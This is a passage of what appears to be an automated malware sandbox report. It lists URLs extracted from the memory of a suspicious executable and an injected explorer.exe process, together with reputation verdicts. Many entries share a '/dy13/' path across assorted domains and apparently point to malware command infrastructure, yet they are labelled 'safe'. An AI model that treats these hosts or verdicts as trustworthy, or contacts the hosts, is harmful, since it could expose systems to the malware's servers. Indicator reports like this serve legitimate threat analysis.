                                        http://www.cpuk-finance.comReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUYexplorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.sdplat.mediaexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.484844.vip/dy13/www.manga-house.comexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.taini00.netReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-darkexplorer.exe, 00000005.00000002.4093721221.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000078AD000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.galapagosdesign.com/DPleasemQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exeexplorer.exe, 00000005.00000000.1672208552.000000000C893000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.cpuk-finance.comexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.manga-house.comReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.urwpp.deDPleasemQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.acc-pay.top/dy13/www.umeshraja.comexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.zhongyicts.com.cnmQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.883106.photosexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.soloparentconnect.com/dy13/explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.real-estate-96841.bond/dy13/www.taini00.netexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.acc-pay.top/dy13/explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.real-estate-96841.bondReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svgexplorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.autoitscript.com/autoit3/Jexplorer.exe, 00000005.00000000.1672208552.000000000C964000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3106196438.000000000C9E7000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://wns.windows.com/Lexplorer.exe, 00000005.00000000.1672208552.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4100977951.000000000C557000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://word.office.comexplorer.exe, 00000005.00000000.1672208552.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4100977951.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.soloparentconnect.com/dy13/www.b0ba138.xyzexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earningsexplorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.tyupok.xyz/dy13/www.484844.vipexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZuexplorer.exe, 00000005.00000002.4093721221.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000078AD000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-winexplorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.soloparentconnect.comexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.taini00.netexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://schemas.micrexplorer.exe, 00000005.00000000.1674090829.000000000CA63000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4102382128.000000000CA63000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.carterandcone.comlmQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.freedompopo.com/dy13/www.bdsmnutzbar.infoexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.umeshraja.comexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeuexplorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.fontbureau.com/designers/frere-user.htmlmQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.484844.vipexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-darkexplorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://www.rd.com/list/polite-habits-campers-dislike/explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.tyupok.xyz/dy13/explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.883106.photos/dy13/www.tyupok.xyzexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.carefulapp.comexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://android.notify.windows.com/iOSexplorer.exe, 00000005.00000000.1672208552.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.carefulapp.com/dy13/explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.imgexplorer.exe, 00000005.00000002.4093721221.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000078AD000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.sdplat.media/dy13/www.soloparentconnect.comexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://outlook.com_explorer.exe, 00000005.00000000.1672208552.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4100977951.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.cpuk-finance.com/dy13/explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppeexplorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.484844.vipReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-atexplorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.b0ba138.xyzReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.real-estate-96841.bondexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.fontbureau.com/designersGmQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://schemas.miexplorer.exe, 00000005.00000000.1674090829.000000000CA63000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4102382128.000000000CA63000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.fontbureau.com/designers/?mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.founder.com.cn/cn/bThemQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.fontbureau.com/designers?mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-clexplorer.exe, 00000005.00000000.1663822771.00000000078AD000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.imuschestvostorgov.onlineReferer:explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.taini00.net/dy13/explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://powerpoint.office.comcemberexplorer.exe, 00000005.00000000.1672208552.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4100977951.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.bdsmnutzbar.info/dy13/explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.tiro.commQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.cpuk-finance.com/dy13/www.acc-pay.topexplorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://www.goodfont.co.krmQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://schemas.microexplorer.exe, 00000005.00000000.1664847019.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1665286520.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1666809306.0000000009B60000.00000002.00000001.00040000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
